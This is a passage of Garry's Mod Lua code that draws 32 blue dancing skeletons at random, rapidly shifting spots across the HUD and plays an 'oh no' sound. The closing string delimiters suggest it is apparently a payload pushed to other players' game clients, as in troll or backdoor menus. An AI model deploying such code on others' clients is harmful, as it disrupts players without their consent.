  1165. local mdl = ClientsideModel( "models/player/skeleton.mdl", RENDERGROUP_BOTH )
  1166. mdl:SetNoDraw( true )
  1167. local posCache, time = {}, 0
  1168.  
  1169. hook.Add( "HUDPaint", "dance", function()
  1170. if not mdl.SeqStart or CurTime() > (mdl.SeqStart +mdl.SeqDuration) then
  1171. local idx = mdl:LookupSequence("taunt_dance")
  1172. mdl.SeqDuration = mdl:SequenceDuration( idx )
  1173. mdl.SeqStart = CurTime()
  1174. mdl:ResetSequence( idx )
  1175. end
  1176.  
  1177. mdl:SetCycle( (CurTime() -mdl.SeqStart) /mdl.SeqDuration )
  1178.  
  1179.  
  1180. local w, h = 300, 300
  1181. local ang = Angle( 0, 0, 0 )
  1182.  
  1183. for i = 1, 32 do
  1184. if CurTime() > time then
  1185. posCache[i] = { math.random( 0, ScrW() -w ), math.random( 0, ScrH() -h ) }
  1186. end
  1187. local x, y = posCache[i][1], posCache[i][2]
  1188.  
  1189. cam.Start3D( (ang:Forward() *64) +(ang:Up() *32), (ang:Forward()*-1):Angle(), 90, x, y, w, h )
  1190. cam.IgnoreZ( true )
  1191. render.SuppressEngineLighting( true )
  1192.  
  1193. render.SetLightingOrigin( mdl:GetPos() )
  1194. render.ResetModelLighting( 1, 1, 1 )
  1195. render.SetColorModulation( 0, 0, 1 )
  1196.  
  1197. mdl:DrawModel()
  1198.  
  1199. render.SuppressEngineLighting( false )
  1200. cam.IgnoreZ( false )
  1201. cam.End3D()
  1202. end
  1203.  
  1204. if CurTime() > time then
  1205. time = CurTime() +0.15
  1206. end
  1207. end )
  1208.  
  1209. surface.PlaySound( "vo/npc/male01/ohno.wav" )
  1210. ]] )
  1211. end )
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